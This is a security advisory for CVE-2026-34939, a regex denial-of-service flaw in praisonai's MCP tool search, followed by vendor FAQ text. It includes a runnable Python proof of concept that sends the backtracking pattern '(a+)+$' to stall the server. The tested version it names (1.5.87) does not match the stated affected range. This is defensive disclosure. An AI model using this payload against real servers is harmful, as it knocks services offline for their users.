CVE-2026-34939

MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

Details

tool_index.py:365 (source) -> tool_index.py:368 (sink)

# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
    import re

# sink -- compiled and applied with no timeout or exception handling
    pattern = re.compile(query, re.IGNORECASE)
    for tool in self.get_all_tools():
        if pattern.search(tool.name) or pattern.search(tool.hint):
            matches.append(tool)

PoC

# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path

mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
    {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
    "server": "test_server", "available": True, "auth_required": False,
    "last_sync": time.time(), "tool_count": 1, "error": None
}))

from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()

start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

CVE-2026-34939 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.90); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34939? CVE-2026-34939 is a medium-severity inefficient regular expression (ReDoS) vulnerability in praisonai (pip), affecting versions <= 4.5.89. It is fixed in 4.5.90. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
2. How severe is CVE-2026-34939? CVE-2026-34939 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-34939? praisonai (pip) versions <= 4.5.89 is affected.
4. Is there a fix for CVE-2026-34939? Yes. CVE-2026-34939 is fixed in 4.5.90. Upgrade to this version or later.
5. Is CVE-2026-34939 exploitable, and should I be worried? Whether CVE-2026-34939 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34939 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34939? Upgrade praisonai to 4.5.90 or later.